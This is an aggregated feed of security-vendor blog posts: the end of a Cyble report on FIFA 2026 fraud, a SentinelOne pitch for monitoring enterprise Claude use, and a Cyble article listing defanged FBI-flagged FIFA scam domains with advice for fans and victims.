• For ticketing platforms and official broadcasters: issue proactive fan advisories confirming that legitimate ticket transactions will never be negotiated via private messaging apps or unverified resale portals. 

• Revise security awareness materials to teach structural URL interpretation — with specific focus on identifying lookalike FIFA domains that embed official terminology in subdomains or hyphenated strings rather than the root registered domain. 

• Monitor dark web forums for emerging data leak claims targeting football organizations, and treat leaked PII — particularly passport and contract data — as an active social engineering enabler requiring targeted victim notification. 

The need for a proactive cyberdefense stance 

The current threat landscape includes a multitude of Social Engineering campaigns. Security teams need more than reactive controls to keep ahead of these. 

Solutions such as Cyble Vision deliver operational intelligence that enables defenders to stay ahead of adversaries through early detection, campaign-level visibility, and infrastructure mapping. 

Cyble Vision specifically empowers security teams to move beyond isolated detection, providing the strategic insight needed to anticipate threats, monitor adversary activity, and respond with precision at every stage of the attack lifecycle. Security teams can take necessary preventive action with the help of: 

• Real-Time IOC Monitoring 
  Enable continuous tracking of indicators tied to adversary infrastructure before they reach end users. 

• Credential Phishing Infrastructure Mapping 
  Map attacker-controlled infrastructure, including fake authentication portals, dynamic exfiltration endpoints, and backend logic designed to capture credentials. 

• Brand and Executive Impersonation Monitoring 
  Detect domain spoofing and impersonation attempts targeting internal functions such as HR and Finance—often used to increase trust and exploit user familiarity. 

• Deep and Dark Web Visibility 
  Surface chatter, leaked credentials, and phishing toolkits from deep/dark web sources, offering early insight into attacker preparation and target selection. 

• Global Targeting Intelligence 
  Track phishing activity across global regions—including North America, EMEA, and APAC—as well as over 70 industry sectors, providing defenders with contextual understanding of targeting patterns. 

• Threat Actor Attribution and TTP Correlation 
  Associate infrastructure, techniques, and behavioral patterns with known threat actors, empowering security teams to prioritize response based on adversary capability and intent. 

MITRE ATT&CK® Techniques 

Tactic	Technique ID	Technique Name
Resource Development	T1583.001	Acquire Infrastructure: Domains
Resource Development	T1583.006	Acquire Infrastructure: Web Services
Resource Development	T1585.001	Establish Accounts: Social Media Accounts
Initial Access	T1566.002	Phishing: Spearphishing Link
Credential Access	T1056.003	Web Portal Capture
Command and Control	T1102	Web Service
Impact	T1657	Financial Theft

Indicators of Compromise (IOCs) 

The IOCs have been added to this GitHub repository. Please review and integrate them into your Threat Intelligence feed to enhance protection and improve your overall security posture. 

The post Operation FanTrap: Inside the FIFA 2026 Fraud Ecosystem appeared first on Cyble.

Attackers can move from access to exfiltration in 72 minutes. Learn how modern SOC teams close the speed gap with Unit 42's AI-driven automation, threat hunting, MDR and Managed XSIAM.

The post Inside the Modern SOC: The 72-Minute Race appeared first on Unit 42.

Enterprise adoption of Claude across teams, workflows, and business functions is happening at a pace unlike virtually any technology before it. While the innovation opportunity is obvious, so are many of the risks. From the exposure of sensitive data and secrets through shadow IT to new attack vectors like prompt injection, security teams need the visibility, governance, and response capabilities to ensure AI innovation is done safely and securely.

SentinelOne® helps organizations comprehensively secure Claude adoption by bringing AI usage directly into the security platforms teams already rely on. This helps protect the entire ecosystem from the underlying infrastructure to the application layer and end-user interactions. By bringing together SentinelOne and Claude, security teams can apply policies to user prompts, ingest Claude activity into the Singularity AI SIEM for investigation, and utilize frontier AI-powered services to identify real-world risks before attackers can exploit them.

Govern, Detect & Secure with SentinelOne’s Anthropic Compliance API Integrations

Security and compliance platforms utilize the Claude Compliance API to help organizations monitor AI activity within their existing tools. SentinelOne provides purpose-built Claude Compliance API integrations for its Prompt Security and Singularity AI SIEM offerings.

Prompt Security Integration

Scan AI prompts and responses against enterprise policies to flag violations without requiring a browser extension or endpoint agent. This agentless approach helps organizations extend their security coverage to unmanaged devices and external environments. Prompt Security enforces safe use by blocking high-risk prompts and preventing data leakage in real time. Additionally, the platform provides continuous risk assessment for agentic AI by securing Model Context Protocol (MCP) gateway connections between AI applications and known MCP servers.

Singularity AI SIEM Integration

Ingest audit and activity data directly from Claude rather than treating AI interactions as isolated events. With the integration, security operations center (SOC) teams can correlate Claude activity against existing security telemetry. This allows analysts to incorporate AI usage data into their broader security workflows and improve investigation, detection, and response across all their attack surfaces.

AI Visibility to AI-Ready Defense with Wayfinder Frontier AI Services

The partnership between SentinelOne and Anthropic extends beyond the Compliance API. SentinelOne has been a participating member in Anthropic’s Project Glasswing and has had early access to Anthropic’s most capable Mythos-class models. By continuously testing these models against real-world security workflows, SentinelOne helps ensure defenses keep pace with the modern adversary. Additionally, SentinelOne recently announced Wayfinder Frontier AI Services, a managed offering that pairs elite human security experts with frontier models, including Anthropic’s Claude Security.

Frontier AI is changing vulnerability discovery, giving both defenders and attackers the advantage of speed and scale. However, raw vulnerability counts rarely map cleanly to real-world risk, as many theoretical exposures are mitigated by existing architectural controls. Wayfinder Frontier AI Services evaluates findings against actual environmental context to deliver an exploitability-grounded prioritization. Instead of treating vulnerabilities in isolation, the service maps how exposures connect into end-to-end attack paths.

The Frontier AI models then provide targeted remediation guidance, including architectural changes or identity controls, designed to break the exploitation chain where it costs the adversary the most. With the service providing a continuous human-and-AI partnership across endpoint, cloud, identity, data, and AI attack surfaces, Frontier AI ensures that organizational security posture remains current as models and threats evolve.

Why SentinelOne is Built for the AI Security Era

SentinelOne operates from a clear conviction: A safer future for humanity and to give the advantage to those who secure our future. That conviction is what drives how SentinelOne approaches AI security — not as an isolated capability, but as part of the autonomous platform, expert services, and SOC workflows that defenders already use. SentinelOne has collaborated with frontier AI labs for years, including Anthropic, OpenAI, and Google DeepMind. These partnerships inform the capabilities embedded across the SentinelOne platform.

Operating at machine speed is necessary to counter modern threats, rather than relying strictly on manual triage. Over the past quarter, the SentinelOne Singularity Platform autonomously blocked novel zero-day and supply-chain attacks against widely used components, such as LiteLLM, Axios, and CPU-Z. Wayfinder Frontier AI Services takes this operational model further left in the security lifecycle to discover exposures before attackers can leverage them. This multi-model foundation reflects the understanding that no single AI model is the definitive answer for cybersecurity; the advantage belongs to defenders who can orchestrate the right intelligence and validate outputs with human expertise.

This is how SentinelOne enables business growth and innovation safely, giving security teams the ability to say yes to AI adoption while maintaining full control of the risk surface. Stronger protection with fewer incidents and less operational overhead.

Learn More

Ready to adopt Claude safely across your organization? Connect with SentinelOne to learn how Prompt Security, Singularity AI SIEM, and Wayfinder Frontier AI Services help security teams govern, monitor, and defend AI usage at enterprise scale.

• For Claude governance and monitoring: Contact SentinelOne to learn about the Anthropic Compliance API integrations for Prompt Security and Singularity AI SIEM.
• For proactive AI-driven exposure management: Learn more about Wayfinder Frontier AI Services.
• For broader AI security: Request a demo of SentinelOne’s AI security capabilities.

Third-Party Trademark Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.

The FIFA World Cup 2026 kicks off on June 11, and the world's biggest sporting event is drawing more than just fans — it is already attracting a wave of cybercriminals targeting ticket buyers, job seekers, streaming viewers, and corporate brands alike. 

The FBI has issued a formal Public Service Announcement warning that threat actors are creating fraudulent versions of FIFA-affiliated websites to steal personal information, conduct financial fraud, and sell fake products and services. Cyble researchers independently analyzed the domains flagged by the FBI and confirmed that many remained active and operational at the time of publishing this report. 

With 48 teams, 16 host cities across the United States, Canada, and Mexico, and an estimated global audience of billions, the FIFA World Cup 2026 is set to be the largest men's World Cup in history. That scale is precisely why cybercriminals are prying on it — and why the threat is arriving earlier and more aggressively than in previous tournaments. 

See which domains targeting your brand are active right now
Run a Free External Threat Report

How FIFA World Cup 2026 Scams Work 

The FBI warns that threat actors are building fraudulent versions of FIFA's official website, www.fifa.com, designed to closely mimic the legitimate experience. These sites are engineered to collect personally identifiable information (PII), including full names, home addresses, phone numbers, email addresses, banking information, and payment card details. 

The same fraudulent infrastructure is used to run a range of operations simultaneously: FIFA ticket scams, fake hospitality package sales, fraudulent job listings, and other forms of financial fraud. 

The most common technical method is typosquatting — registering domains with subtle spelling changes or different extensions that trick users into believing they have landed on an official page. A single missing letter, a swapped extension, or a hyphenated variant can be enough to deceive even vigilant users, especially when the site is dressed with FIFA branding, tournament schedules, and professional-looking navigation menus. 

The FBI flagged the following domains as fraudulent FIFA-related sites: 

www.fifa[.]cab	www.fifa[.]pink
www.fifa[.]blue	www.fifa[.]pub
FIFA[.]city	Fifa[.]bio
fifa[.]beer	fifa[.]click
fifa[.]cam	fifa[.]ceo
fifa[.]help	filfa[.]org
fifa-online[.]com	https://fifa-2026[.]xyz
jobs-fifa[.]com	fifa-hr[.]com
fifa-careerhub[.]com	fifaworldcup-careers[.]com
fifa-hiring[.]com	fifahiring[.]com
fifa-ticket[.]live	fifastore.us[.]com
fifaworldcup26[.]sale	fifaworldcup26.xcover-staging[.]com
worldcup2026-tickets.com[.]mx	worldcup26ticket[.]com
2026fifaworldcuptickets[.]online	fwc2026[.]net
fwc2026.web[.]app	www.fifa2026p[.]com
fifa2026fworldcup[.]com	wvvw-fifa[.]com
ww-fifa[.]com	fifa-com[.]com
www.fifa-com[.]services	quiniela-fifa-2026.pages[.]dev

Source: FBI PSA — Domains defanged for safety 

Is your brand being spoofed? Cyble tracks typosquatted domains in real time
Request a demo

Cyble researchers tracked these domains and confirmed that many were still operational at the time of publishing. Notably, even when a malicious domain is taken down, new ones tend to appear almost instantaneously. The fraudulent infrastructure is not a one-time campaign — it is continuously regenerating. 

Fake FIFA Hospitality, Ticket, and Sale Sites 

One of the most convincing examples identified by Cyble researchers was ww-fifa[.]com — a classic typosquatting attack that removes a single "w" from the legitimate FIFA URL. The site presents itself as an official FIFA World Cup 2026 portal, complete with tournament branding, navigation menus, ticket information, and hospitality package offers. 

Visitors to this site are encouraged to purchase premium packages that include tickets, food, beverages, lounge access, and related services — all fraudulent. 

Cyble researchers identified several indicators that expose the site as illegitimate: 

• Duplicate page titles appearing twice in the browser tab 

• Missing or broken images throughout the site 

• Navigation links leading to attacker-controlled pages 

• Ticket purchase prompts requesting personal and financial information with no legitimate payment processing 

What makes these sites especially dangerous is the sophistication of the presentation. Unlike the crude phishing pages of a decade ago, modern FIFA 2026 scam sites replicate the visual design of official sports portals convincingly enough to pass a casual inspection. 

Security Vendors Have Already Flagged FIFA-Related Domains 

Cyble researchers analyzed the domain fifa[.]help using VirusTotal and found that, at the time of analysis, 15 out of 92 security vendors had classified it as malicious. Vendor classifications included phishing, fraud, and related threat categories. 

While a detection rate of 15/92 may seem modest, it represents significant early-stage flagging. Many security vendors lag in classifying newly registered domains, so the fact that multiple established providers had already flagged this domain confirms a credible threat.  

As these domains age and accumulate more malicious activity reports, detection rates will rise — but by then, victims will already have been targeted. 

Download Cyble's Annual Threat Landscape Report to track global scam trends

Fake FIFA Recruitment Sites Are Also Active 

Not all FIFA World Cup 2026 scams target ticket buyers or fans. Cyble researchers identified an entirely separate fraud vector targeting job seekers: the domain fifaworldcup-careers[.]com, which presents itself as a FIFA employment portal for World Cup-related positions. 

VirusTotal data revealed: 

• www.fifaworldcup-careers[.]com was flagged by 8 out of 91 vendors 

• The root domain was flagged by 14 out of 91 vendors 

• The domain resolved to multiple IP addresses, including 3.71.180.249, 13.249.91.65, and 13.249.91.101 

The use of multiple IP addresses suggests the domain may be operating behind content delivery or load-balancing infrastructure, which makes takedowns significantly more difficult to execute. 

WHOIS data shows the domain was registered and updated in mid-to-late April 2026, with the registrant's identity hidden behind a privacy shield. Two SSL certificates were also issued on April 15 and April 16, including a wildcard certificate covering *.fifaworldcup-careers[.]com — a sign of deliberate, technically capable infrastructure setup rather than an opportunistic amateur operation. 

Threat actors target employees too. See how Cyble detects campaigns early.
Protect Your Organization!

Why this matters: Job seekers searching for World Cup-related employment — hospitality roles, security staff, event coordinators, media positions — are a highly vulnerable and largely overlooked audience. These individuals are not on guard for ticket scams; they are in application mode, and they will willingly submit full personal information, resumes, and even government ID to what they believe is a legitimate employer. 

How to Avoid FIFA World Cup 2026 Ticket Scams 

As fans search for how to watch the FIFA World Cup 2026 or purchase tickets, the FBI recommends the following precautions: 

• Type fifa.com directly into your browser's address bar — never rely on search results or links in messages 

• Avoid sponsored search results, which can be purchased by attackers to appear above legitimate results 

• Confirm that the URL is exactly www.fifa.com before entering any information 

• Use saved bookmarks or browser favorites when revisiting FIFA websites 

• Access FIFA subdomains only through the official homepage, not by typing them directly 

• Be cautious of websites with broken graphics, poor-quality branding, or duplicate content 

• Do not provide sensitive information unless the site's legitimacy has been independently verified 

• Review URLs carefully before clicking any advertisements 

These steps are especially important for avoiding FIFA 2026 ticket price scams, where attackers create a false sense of urgency through fake discounts, exclusive hospitality offers, or limited-time deals that pressure users into making fast payment decisions. 

How to Watch FIFA World Cup 2026 Safely 

Scammers are targeting not only ticket buyers but viewers as well. Fraudulent streaming platforms are expected to proliferate as the tournament approaches, exploiting the high demand for match access — particularly from fans in regions where official broadcasts are expensive or limited. 

To reduce risk when looking for FIFA World Cup 2026 streaming options: 

• Use only official FIFA channels and licensed regional broadcasters for tournament information 

• Watch matches exclusively through broadcasters licensed for your region 

• Avoid streaming links shared through unsolicited emails, social media messages, or WhatsApp groups 

• Verify URLs carefully before creating accounts or entering any payment information 

• Be cautious of websites offering heavily discounted subscription packages or "exclusive" access to all matches 

Many fake streaming platforms use the same tactics seen in FIFA ticket scams: they exploit demand for tournament content to harvest personal and financial information, either immediately or through credential-stuffing attacks down the line. 

What To Do If You Become a Victim of a FIFA World Cup 2026 Scam 

The FBI expects additional spoofed domains to appear throughout the tournament period — before, during, and after matches. If you encounter a suspected FIFA World Cup 2026 scam, document as much information as possible before the site disappears, including: 

• The fraudulent domain name 

• Screenshots of the website 

• Any communication records (emails, SMS, chat logs) 

• Payment details if a transaction occurred 

• Cryptocurrency wallet addresses, if applicable 

Victims can file a complaint with the Internet Crime Complaint Center (IC3) at ic3.gov and should include the fake domain involved, details of all interactions with the site, information submitted to the scammers, payment records, receiving financial institution information, and any cryptocurrency transaction details. 

Reporting promptly not only helps your case but also contributes to the broader effort to get these domains flagged and taken down faster. 

Protect Your Brand from Fake FIFA World Cup 2026 Phishing Campaigns 

Major global events like the FIFA World Cup create a concentrated window of opportunity for cybercriminals to launch phishing campaigns, register fraudulent domains, and impersonate trusted brands. As the active FIFA-related scam infrastructure identified by Cyble researchers demonstrates, this is not a theoretical risk — it is a live and expanding threat landscape. 

Organizations operating in travel, hospitality, ticketing, media, and any sector adjacent to the FIFA World Cup 2026 need proactive brand protection measures in place now — not after the first incident. 

Cyble's Brand Intelligence solution helps organizations detect malicious domains, phishing websites, brand impersonation attempts, and other forms of digital abuse in real time. Combined with Dark Web and Cyber Crime Monitoring and Takedown & Disruption services, security teams can identify threats early, investigate malicious activity, and accelerate the removal of fraudulent infrastructure before it causes financial or reputational damage. 

Deploy Brand Protection Now

Check out how Cyble helps organizations detect, monitor, and disrupt phishing campaigns, fraudulent domains, and brand abuse before they lead to financial loss or reputational damage. 

Frequently Asked Questions 

The post FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe appeared first on Cyble.